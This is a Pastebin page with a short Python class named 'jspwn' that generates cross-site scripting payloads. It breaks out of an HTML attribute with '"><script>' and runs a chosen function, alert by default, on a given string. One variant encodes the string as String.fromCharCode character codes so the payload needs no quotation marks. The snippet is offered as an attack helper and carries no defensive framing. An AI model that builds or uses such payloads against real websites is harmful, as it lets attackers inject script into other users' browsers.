Advertisement
Guest User

Untitled

a guest
Oct 18th, 2019
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.47 KB | None | 0 0
  1. import os
  2. import sys
  3.  
  4. class jspwn():
  5.     @staticmethod
  6.     def stringToASCII(string):
  7.         ret = ""
  8.  
  9.         for s in string:
  10.             ret += str(ord(s)) + ','
  11.  
  12.         return ret[:-1]
  13.  
  14.     @staticmethod
  15.     def quotesPayload(payload, quotes=True, command="alert"):
  16.         if (quotes): return '"><script>' + command + '("' + str(payload) + '")</script>'
  17.         else: return '"><script>' + command + '(String.fromCharCode(' + str(payload) + '))</script>'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement